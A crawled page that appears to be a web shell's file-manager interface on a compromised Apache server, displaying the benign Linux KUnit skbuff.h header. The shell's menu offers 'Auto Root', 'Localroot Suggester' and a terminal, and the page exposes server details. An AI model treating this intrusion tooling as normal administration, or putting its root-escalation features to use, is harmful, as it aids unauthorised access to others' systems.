Linux jobworks 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026 x86_64
Apache/2.4.58 (Ubuntu)
Server IP : 10.0.1.5 & Your IP : 216.73.217.52
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
linux-headers-6.8.0-124 /
include /
kunit /
Delete
Unzip
Name
Size
Permission
Date
Action
assert.h
7.49
KB
-rw-r--r--
2024-03-10 20:38
attributes.h
1.35
KB
-rw-r--r--
2024-03-10 20:38
device.h
2.77
KB
-rw-r--r--
2024-03-10 20:38
resource.h
15.69
KB
-rw-r--r--
2024-03-10 20:38
skbuff.h
1.32
KB
-rw-r--r--
2026-05-26 09:55
static_stub.h
3.6
KB
-rw-r--r--
2024-03-10 20:38
test-bug.h
2.05
KB
-rw-r--r--
2024-03-10 20:38
test.h
54.38
KB
-rw-r--r--
2024-03-10 20:38
try-catch.h
2.36
KB
-rw-r--r--
2024-03-10 20:38
visibility.h
1018
B
-rw-r--r--
2024-03-10 20:38
Save
Rename
/* SPDX-License-Identifier: GPL-2.0 */ /* * KUnit resource management helpers for SKBs (skbuff). * * Copyright (C) 2023 Intel Corporation */ #ifndef _KUNIT_SKBUFF_H #define _KUNIT_SKBUFF_H #include <kunit/resource.h> #include <linux/skbuff.h> static void kunit_action_kfree_skb(void *p) { kfree_skb((struct sk_buff *)p); } /** * kunit_zalloc_skb() - Allocate and initialize a resource managed skb. * @test: The test case to which the skb belongs * @len: size to allocate * * Allocate a new struct sk_buff with GFP_KERNEL, zero fill the give length * and add it as a resource to the kunit test for automatic cleanup. * * Returns: newly allocated SKB, or %NULL on error */ static inline struct sk_buff *kunit_zalloc_skb(struct kunit *test, int len, gfp_t gfp) { struct sk_buff *res = alloc_skb(len, gfp); if (!res || skb_pad(res, len)) return NULL; if (kunit_add_action_or_reset(test, kunit_action_kfree_skb, res)) return NULL; return res; } /** * kunit_kfree_skb() - Like kfree_skb except for allocations managed by KUnit. * @test: The test case to which the resource belongs. * @skb: The SKB to free. */ static inline void kunit_kfree_skb(struct kunit *test, struct sk_buff *skb) { if (!skb) return; kunit_release_action(test, kunit_action_kfree_skb, (void *)skb); } #endif /* _KUNIT_SKBUFF_H */